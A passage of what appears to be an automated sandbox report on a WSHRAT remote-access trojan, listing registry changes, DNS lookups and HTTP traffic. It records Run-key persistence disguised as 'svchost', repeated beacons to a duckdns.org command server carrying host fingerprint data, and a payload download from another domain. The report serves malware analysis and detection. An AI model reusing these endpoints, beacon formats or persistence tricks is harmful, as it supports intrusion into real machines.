  1362. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\ONPREM_SHAREPOINT_OTHER",
  1363. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\ONPREM_SHAREPOINT_OTHER\\Capabilities",
  1364. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\ONPREM_SHAREPOINT_OTHER\\ConnectMechanism",
  1365. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\ONPREM_SHAREPOINT_OTHER\\IsManaged",
  1366. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\ONPREM_SHAREPOINT_OTHER\\IsRemovable",
  1367. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\ONPREM_SHAREPOINT_OTHER\\ServiceOwner",
  1368. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\ONPREM_SHAREPOINT_OTHER\\SortOrder",
  1369. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\ONPREM_SHAREPOINT_OTHER\\SupportsMultiple",
  1370. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\ONPREM_SHAREPOINT_OTHER\\CapabilitiesMetadata",
  1371. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\ONPREM_SHAREPOINT_OTHER\\Description",
  1372. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\ONPREM_SHAREPOINT_OTHER\\Name",
  1373. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\ONPREM_SHAREPOINT_OTHER\\ServiceId",
  1374. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\ONPREM_SHAREPOINT_OTHER\\ServiceUrl",
  1375. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\ONPREM_SHAREPOINT_OTHER\\Metadata",
  1376. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\ONPREM_SHAREPOINT_OTHER\\Metadata\\HideIfEmpty",
  1377. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\ONPREM_SHAREPOINT_OTHER\\Metadata\\KeyTip",
  1378. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\ONPREM_SHAREPOINT_OTHER\\Metadata\\Type",
  1379. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\ONPREM_SHAREPOINT_OTHER\\Thumbnails",
  1380. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\ONPREM_SHAREPOINT_OTHER\\Thumbnails\\Url16x16",
  1381. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\ONPREM_SHAREPOINT_OTHER\\Thumbnails\\Url32x32",
  1382. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\ONPREM_SHAREPOINT_OTHER\\Thumbnails\\Url48x48",
  1383. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\WLINBOX_SKYDRIVE",
  1384. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\WLINBOX_SKYDRIVE\\Capabilities",
  1385. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\WLINBOX_SKYDRIVE\\ConnectMechanism",
  1386. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\WLINBOX_SKYDRIVE\\IsManaged",
  1387. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\WLINBOX_SKYDRIVE\\IsRemovable",
  1388. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\WLINBOX_SKYDRIVE\\ServiceOwner",
  1389. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\WLINBOX_SKYDRIVE\\SortOrder",
  1390. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\WLINBOX_SKYDRIVE\\SupportsMultiple",
  1391. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\WLINBOX_SKYDRIVE\\CapabilitiesMetadata",
  1392. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\WLINBOX_SKYDRIVE\\Description",
  1393. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\WLINBOX_SKYDRIVE\\Name",
  1394. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\WLINBOX_SKYDRIVE\\ServiceId",
  1395. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\WLINBOX_SKYDRIVE\\ServiceUrl",
  1396. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\WLINBOX_SKYDRIVE\\Metadata",
  1397. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\WLINBOX_SKYDRIVE\\Metadata\\DefaultCreateRelativePath",
  1398. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\WLINBOX_SKYDRIVE\\Metadata\\DefaultFolderRelativePath",
  1399. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\WLINBOX_SKYDRIVE\\Metadata\\KeyTip",
  1400. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\WLINBOX_SKYDRIVE\\Metadata\\RegularExpression",
  1401. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\WLINBOX_SKYDRIVE\\Metadata\\Type",
  1402. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\WLINBOX_SKYDRIVE\\Thumbnails",
  1403. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\WLINBOX_SKYDRIVE\\Thumbnails\\Url16x16",
  1404. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\WLINBOX_SKYDRIVE\\Thumbnails\\Url32x32",
  1405. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\WLINBOX_SKYDRIVE\\Thumbnails\\Url48x48",
  1406. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\WLMOUNTED_CONNECT",
  1407. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\WLMOUNTED_CONNECT\\Capabilities",
  1408. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\WLMOUNTED_CONNECT\\ConnectMechanism",
  1409. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\WLMOUNTED_CONNECT\\IsManaged",
  1410. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\WLMOUNTED_CONNECT\\IsRemovable",
  1411. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\WLMOUNTED_CONNECT\\ServiceOwner",
  1412. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\WLMOUNTED_CONNECT\\SortOrder",
  1413. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\WLMOUNTED_CONNECT\\SupportsMultiple",
  1414. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\WLMOUNTED_CONNECT\\Description",
  1415. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\WLMOUNTED_CONNECT\\Name",
  1416. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\WLMOUNTED_CONNECT\\ServiceId",
  1417. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\WLMOUNTED_CONNECT\\ServiceUrl",
  1418. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\WLMOUNTED_CONNECT\\Thumbnails",
  1419. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\WLMOUNTED_CONNECT\\Thumbnails\\Url16x16",
  1420. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\WLMOUNTED_CONNECT\\Thumbnails\\Url32x32",
  1421. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\WLMOUNTED_CONNECT\\Thumbnails\\Url48x48",
  1422. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\WLMOUNTED_MARKETPLACE",
  1423. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\WLMOUNTED_MARKETPLACE\\Capabilities",
  1424. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\WLMOUNTED_MARKETPLACE\\ConnectMechanism",
  1425. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\WLMOUNTED_MARKETPLACE\\IsManaged",
  1426. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\WLMOUNTED_MARKETPLACE\\IsRemovable",
  1427. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\WLMOUNTED_MARKETPLACE\\ServiceOwner",
  1428. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\WLMOUNTED_MARKETPLACE\\SortOrder",
  1429. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\WLMOUNTED_MARKETPLACE\\SupportsMultiple",
  1430. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\WLMOUNTED_MARKETPLACE\\Description",
  1431. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\WLMOUNTED_MARKETPLACE\\Name",
  1432. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\WLMOUNTED_MARKETPLACE\\ServiceId",
  1433. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\WLMOUNTED_MARKETPLACE\\ServiceUrl",
  1434. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\WLMOUNTED_MARKETPLACE\\Thumbnails",
  1435. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\WLMOUNTED_MARKETPLACE\\Thumbnails\\Url16x16",
  1436. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\WLMOUNTED_MARKETPLACE\\Thumbnails\\Url32x32",
  1437. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\WLMOUNTED_MARKETPLACE\\Thumbnails\\Url48x48",
  1438. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\WLMOUNTED_SKYDRIVE",
  1439. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\WLMOUNTED_SKYDRIVE\\Capabilities",
  1440. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\WLMOUNTED_SKYDRIVE\\ConnectMechanism",
  1441. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\WLMOUNTED_SKYDRIVE\\IsManaged",
  1442. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\WLMOUNTED_SKYDRIVE\\IsRemovable",
  1443. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\WLMOUNTED_SKYDRIVE\\ServiceOwner",
  1444. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\WLMOUNTED_SKYDRIVE\\SortOrder",
  1445. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\WLMOUNTED_SKYDRIVE\\SupportsMultiple",
  1446. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\WLMOUNTED_SKYDRIVE\\CapabilitiesMetadata",
  1447. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\WLMOUNTED_SKYDRIVE\\Description",
  1448. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\WLMOUNTED_SKYDRIVE\\Name",
  1449. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\WLMOUNTED_SKYDRIVE\\ServiceId",
  1450. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\WLMOUNTED_SKYDRIVE\\ServiceUrl",
  1451. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\WLMOUNTED_SKYDRIVE\\Metadata",
  1452. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\WLMOUNTED_SKYDRIVE\\Metadata\\DefaultCreateRelativePath",
  1453. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\WLMOUNTED_SKYDRIVE\\Metadata\\DefaultFolderRelativePath",
  1454. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\WLMOUNTED_SKYDRIVE\\Metadata\\KeyTip",
  1455. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\WLMOUNTED_SKYDRIVE\\Metadata\\RegularExpression",
  1456. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\WLMOUNTED_SKYDRIVE\\Metadata\\Type",
  1457. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\WLMOUNTED_SKYDRIVE\\Thumbnails",
  1458. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\WLMOUNTED_SKYDRIVE\\Thumbnails\\Url16x16",
  1459. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\WLMOUNTED_SKYDRIVE\\Thumbnails\\Url32x32",
  1460. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\WLMOUNTED_SKYDRIVE\\Thumbnails\\Url48x48",
  1461. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Word\\MTTF",
  1462. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Word\\MTTA",
  1463. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\Feedback\\AppUsageData_1",
  1464. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Word\\Security\\Trusted Documents\\LastPurgeTime",
  1465. "HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Installer\\UserData\\S-1-5-18\\Products\\00005119110000000000000000F01FEC\\Usage\\ProductFiles",
  1466. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Word\\Resiliency\\DocumentRecovery",
  1467. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Word\\Resiliency\\DocumentRecovery\\1014762",
  1468. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Word\\Resiliency\\DocumentRecovery\\1014762\\1014762",
  1469. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Word\\Resiliency\\StartupItems\\:,(",
  1470. "HKEY_CURRENT_USER\\Software\\Microsoft\\Windows\\CurrentVersion\\Internet Settings\\ZoneMap\\UNCAsIntranet",
  1471. "HKEY_CURRENT_USER\\Software\\Microsoft\\Windows\\CurrentVersion\\Internet Settings\\ZoneMap\\AutoDetect",
  1472. "HKEY_LOCAL_MACHINE\\software\\svchost",
  1473. "HKEY_LOCAL_MACHINE\\SOFTWARE\\Wow6432Node\\svchost\\(Default)",
  1474. "HKEY_CURRENT_USER\\Software\\Microsoft\\Windows\\CurrentVersion\\Run\\svchost",
  1475. "HKEY_LOCAL_MACHINE\\SOFTWARE\\Wow6432Node\\Microsoft\\Windows\\CurrentVersion\\Run\\svchost",
  1476. "HKEY_LOCAL_MACHINE\\software\\tCWhffcbXR",
  1477. "HKEY_LOCAL_MACHINE\\SOFTWARE\\Wow6432Node\\tCWhffcbXR\\(Default)",
  1478. "HKEY_CURRENT_USER\\Software\\Microsoft\\Windows\\CurrentVersion\\Run\\tCWhffcbXR",
  1479. "HKEY_LOCAL_MACHINE\\SOFTWARE\\Wow6432Node\\Microsoft\\Windows\\CurrentVersion\\Run\\tCWhffcbXR",
  1480. "HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\WBEM\\WDM\\IDE\\DiskVBOX_HARDDISK___________________________1.0_____\\5&33d1638a&0&0.0.0_0-00000000-0000-0000-0000-000000000000",
  1481. "HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\WBEM\\WDM\\C:\\Windows\\system32\\advapi32.dllMofResourceName",
  1482. "HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\WBEM\\WDM\\C:\\Windows\\system32\\en-US\\advapi32.dll.muiMofResourceName",
  1483. "HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\WBEM\\WDM\\C:\\Windows\\system32\\drivers\\ACPI.sysACPIMOFResource",
  1484. "HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\WBEM\\WDM\\C:\\Windows\\system32\\drivers\\en-US\\ACPI.sys.muiACPIMOFResource",
  1485. "HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\WBEM\\WDM\\C:\\Windows\\system32\\drivers\\ndis.sysMofResourceName",
  1486. "HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\WBEM\\WDM\\C:\\Windows\\system32\\drivers\\en-US\\ndis.sys.muiMofResourceName",
  1487. "HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\WBEM\\WDM\\C:\\Windows\\system32\\DRIVERS\\mssmbios.sysMofResource",
  1488. "HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\WBEM\\WDM\\C:\\Windows\\system32\\DRIVERS\\en-US\\mssmbios.sys.muiMofResource",
  1489. "HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\WBEM\\WDM\\C:\\Windows\\system32\\DRIVERS\\HDAudBus.sysHDAudioMofName",
  1490. "HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\WBEM\\WDM\\C:\\Windows\\system32\\DRIVERS\\en-US\\HDAudBus.sys.muiHDAudioMofName",
  1491. "HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\WBEM\\WDM\\C:\\Windows\\system32\\DRIVERS\\intelppm.sysPROCESSORWMI",
  1492. "HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\WBEM\\WDM\\C:\\Windows\\system32\\DRIVERS\\en-US\\intelppm.sys.muiPROCESSORWMI",
  1493. "HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\WBEM\\WDM\\C:\\Windows\\System32\\Drivers\\portcls.SYSPortclsMof",
  1494. "HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\WBEM\\WDM\\C:\\Windows\\System32\\Drivers\\en-US\\portcls.SYS.muiPortclsMof",
  1495. "HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\WBEM\\WDM\\C:\\Windows\\system32\\DRIVERS\\monitor.sysMonitorWMI"
  1496.  
  1497.  
  1498. * Deleted Registry Keys:
  1499. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\CacheReady",
  1500. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\LastRequest",
  1501. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\LastUpdate",
  1502. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\NextUpdate",
  1503. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Word\\MTTT",
  1504. "HKEY_CURRENT_USER\\Software\\Microsoft\\Windows\\CurrentVersion\\Internet Settings\\ZoneMap\\ProxyBypass",
  1505. "HKEY_LOCAL_MACHINE\\SOFTWARE\\Wow6432Node\\Microsoft\\Windows\\CurrentVersion\\Internet Settings\\ZoneMap\\ProxyBypass",
  1506. "HKEY_CURRENT_USER\\Software\\Microsoft\\Windows\\CurrentVersion\\Internet Settings\\ZoneMap\\IntranetName",
  1507. "HKEY_LOCAL_MACHINE\\SOFTWARE\\Wow6432Node\\Microsoft\\Windows\\CurrentVersion\\Internet Settings\\ZoneMap\\IntranetName",
  1508. "HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\WBEM\\WDM\\C:\\Windows\\system32\\DRIVERS\\monitor.sysMonitorWMI"
  1509.  
  1510.  
  1511. * DNS Communications:
  1512.  
  1513. "type": "A",
  1514. "request": "mikelsonallen300.duckdns.org",
  1515. "answers":
  1516.  
  1517. "data": "103.136.43.131",
  1518. "type": "A"
  1519.  
  1520.  
  1521.  
  1522.  
  1523. "type": "A",
  1524. "request": "doughnut-snack.live",
  1525. "answers":
  1526.  
  1527. "data": "172.245.14.10",
  1528. "type": "A"
  1529.  
  1530.  
  1531.  
  1532.  
  1533. "type": "A",
  1534. "request": "unknownsoft.duckdns.org",
  1535. "answers":
  1536.  
  1537. "data": "185.247.228.27",
  1538. "type": "A"
  1539.  
  1540.  
  1541.  
  1542.  
  1543.  
  1544. * Domains:
  1545.  
  1546. "ip": "185.247.228.27",
  1547. "domain": "unknownsoft.duckdns.org"
  1548.  
  1549.  
  1550. "ip": "172.245.14.10",
  1551. "domain": "doughnut-snack.live"
  1552.  
  1553.  
  1554. "ip": "103.136.43.131",
  1555. "domain": "mikelsonallen300.duckdns.org"
  1556.  
  1557.  
  1558.  
  1559. * Network Communication - ICMP:
  1560.  
  1561. * Network Communication - HTTP:
  1562.  
  1563. "count": 1,
  1564. "body": "",
  1565. "uri": "http://ocsp.digicert.com/MFEwTzBNMEswSTAJBgUrDgMCGgUABBTBL0V27RVZ7LBduom%2FnYB45SPUEwQU5Z1ZMIJHWMys%2BghUNoZ7OrUETfACEAi4elAbvpzaLRZNPjlRv1U%3D",
  1566. "user-agent": "Microsoft-CryptoAPI/6.1",
  1567. "method": "GET",
  1568. "host": "ocsp.digicert.com",
  1569. "version": "1.1",
  1570. "path": "/MFEwTzBNMEswSTAJBgUrDgMCGgUABBTBL0V27RVZ7LBduom%2FnYB45SPUEwQU5Z1ZMIJHWMys%2BghUNoZ7OrUETfACEAi4elAbvpzaLRZNPjlRv1U%3D",
  1571. "data": "GET /MFEwTzBNMEswSTAJBgUrDgMCGgUABBTBL0V27RVZ7LBduom%2FnYB45SPUEwQU5Z1ZMIJHWMys%2BghUNoZ7OrUETfACEAi4elAbvpzaLRZNPjlRv1U%3D HTTP/1.1\r\nConnection: Keep-Alive\r\nAccept: */*\r\nUser-Agent: Microsoft-CryptoAPI/6.1\r\nHost: ocsp.digicert.com\r\n\r\n",
  1572. "port": 80
  1573.  
  1574.  
  1575. "count": 1,
  1576. "body": "",
  1577. "uri": "http://ocsp.msocsp.com/MFQwUjBQME4wTDAJBgUrDgMCGgUABBRPC1vZt9qvn7bzY3Iidtbhla4mKQQUWIif1tycSCK3FD7%2FhIjo5oX%2F%2Bn0CE3sAAGyvV14%2FmEPDgh0AAAAAbK8%3D",
  1578. "user-agent": "Microsoft-CryptoAPI/6.1",
  1579. "method": "GET",
  1580. "host": "ocsp.msocsp.com",
  1581. "version": "1.1",
  1582. "path": "/MFQwUjBQME4wTDAJBgUrDgMCGgUABBRPC1vZt9qvn7bzY3Iidtbhla4mKQQUWIif1tycSCK3FD7%2FhIjo5oX%2F%2Bn0CE3sAAGyvV14%2FmEPDgh0AAAAAbK8%3D",
  1583. "data": "GET /MFQwUjBQME4wTDAJBgUrDgMCGgUABBRPC1vZt9qvn7bzY3Iidtbhla4mKQQUWIif1tycSCK3FD7%2FhIjo5oX%2F%2Bn0CE3sAAGyvV14%2FmEPDgh0AAAAAbK8%3D HTTP/1.1\r\nConnection: Keep-Alive\r\nAccept: */*\r\nIf-Modified-Since: Sat, 23 Mar 2019 17:46:18 GMT\r\nIf-None-Match: \"dd54d75d4688b8dc62b087df4e04af258704c48b\"\r\nUser-Agent: Microsoft-CryptoAPI/6.1\r\nHost: ocsp.msocsp.com\r\n\r\n",
  1584. "port": 80
  1585.  
  1586.  
  1587. "count": 57,
  1588. "body": "",
  1589. "uri": "http://mikelsonallen300.duckdns.org:50001/is-ready",
  1590. "user-agent": "WSHRAT|C1C5B64F|Host|user|Microsoft Windows 7 Enterprise N |plus|nan-av|false - 9/7/2019|JavaScript-v1.3",
  1591. "method": "POST",
  1592. "host": "mikelsonallen300.duckdns.org:50001",
  1593. "version": "1.1",
  1594. "path": "/is-ready",
  1595. "data": "POST /is-ready HTTP/1.1\r\nAccept: */*\r\nAccept-Language: en-us\r\nUser-Agent: WSHRAT|C1C5B64F|Host|user|Microsoft Windows 7 Enterprise N |plus|nan-av|false - 9/7/2019|JavaScript-v1.3\r\nAccept-Encoding: gzip, deflate\r\nHost: mikelsonallen300.duckdns.org:50001\r\nContent-Length: 0\r\nConnection: Keep-Alive\r\nCache-Control: no-cache\r\n\r\n",
  1596. "port": 50001
  1597.  
  1598.  
  1599. "count": 1,
  1600. "body": "",
  1601. "uri": "http://doughnut-snack.live/klplu.tar.gz",
